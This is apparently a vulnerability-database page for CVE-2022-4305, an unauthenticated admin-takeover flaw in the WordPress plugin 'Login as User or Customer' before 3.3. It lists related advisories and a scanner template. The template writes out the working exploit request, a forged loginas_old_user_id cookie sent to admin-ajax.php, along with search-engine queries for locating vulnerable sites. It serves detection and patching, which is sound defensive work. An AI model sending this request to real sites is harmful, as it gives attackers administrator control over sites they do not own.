| Reporter | Title | Published | Views | Family All 13 |
|---|---|---|---|---|
| The vulnerability of the “Login as User or Customer” plugin of the WordPress content management system, related to deficiencies in access control, allows attackers to influence the integrity, accessibility, and confidentiality of the protected information. | 4 Nov 202300:00 | – | bdu_fstec | |
| CVE-2022-4305 | 23 Jan 202318:25 | – | circl | |
| WordPress plugin The Login as User or Customer 安全漏洞 | 23 Jan 202300:00 | – | cnnvd | |
| CVE-2022-4305 | 23 Jan 202314:31 | – | cve | |
| CVE-2022-4305 Login as User or Customer < 3.3 - Unauthenticated Privilege Escalation to Admin | 23 Jan 202314:31 | – | cvelist | |
| CVE-2022-4305 | 23 Jan 202315:15 | – | nvd | |
| CVE-2022-4305 | 23 Jan 202315:15 | – | osv | |
| Authorization | 23 Jan 202315:15 | – | prion | |
| PT-2022-7074 · WordPress · Login As User/Customer | 27 Dec 202200:00 | – | ptsecurity | |
| CVE-2022-4305 | 22 May 202523:55 | – | redhatcve |
id: CVE-2022-4305
info:
name: Login as User or Customer < 3.3 - Privilege Escalation
author: r3Y3r53
severity: critical
description: |
The plugin lacks authorization checks to ensure that users are allowed to log in as another one, which could allow unauthenticated attackers to obtain a valid admin session.
impact: |
Unauthenticated attackers can obtain valid admin sessions by exploiting missing authorization checks in the Login as User or Customer plugin, potentially gaining complete control over the WordPress site and all user accounts.
remediation: |
Fixed in version 3.3
reference:
- https://wpscan.com/vulnerability/286d972d-7bda-455c-a226-fd9ce5f925bd
- https://nvd.nist.gov/vuln/detail/CVE-2022-4305
- https://github.com/cyllective/CVEs
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2022-4305
cwe-id: CWE-269
epss-score: 0.38625
epss-percentile: 0.98392
cpe: cpe:2.3:a:wp-buy:login_as_user_or_customer_\(user_switching\):*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 2
vendor: wp-buy
product: login_as_user_or_customer_\(user_switching\)
framework: wordpress
shodan-query: http.html:/wp-content/plugins/login-as-customer-or-user
fofa-query: body=/wp-content/plugins/login-as-customer-or-user
publicwww-query: /wp-content/plugins/login-as-customer-or-user
tags: cve,cve2022,wpscan,wordpress,wp-plugin,wp,login-as-customer-or-user,auth-bypass,wp-buy,vuln
http:
- raw:
- |
GET /wp-admin/admin-ajax.php?action=loginas_return_admin HTTP/1.1
Host: {{Hostname}}
Cookie: loginas_old_user_id=1
- |
GET /wp-admin/users.php HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- status_code_2 == 200
- contains(header_2, "text/html")
- contains(body_2, 'Edit Profile') && contains(body_2, 'All Posts')
condition: and
# digest: 4b0a0048304602210085981a522c862fea4ec8ac59d34fc407e88c38cd06afdcf2540ed4a1b86db8580221008bb41c8496f995ee643cb286a9c95dfb55f7b9daa624408c85703bc9fcc3f961:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation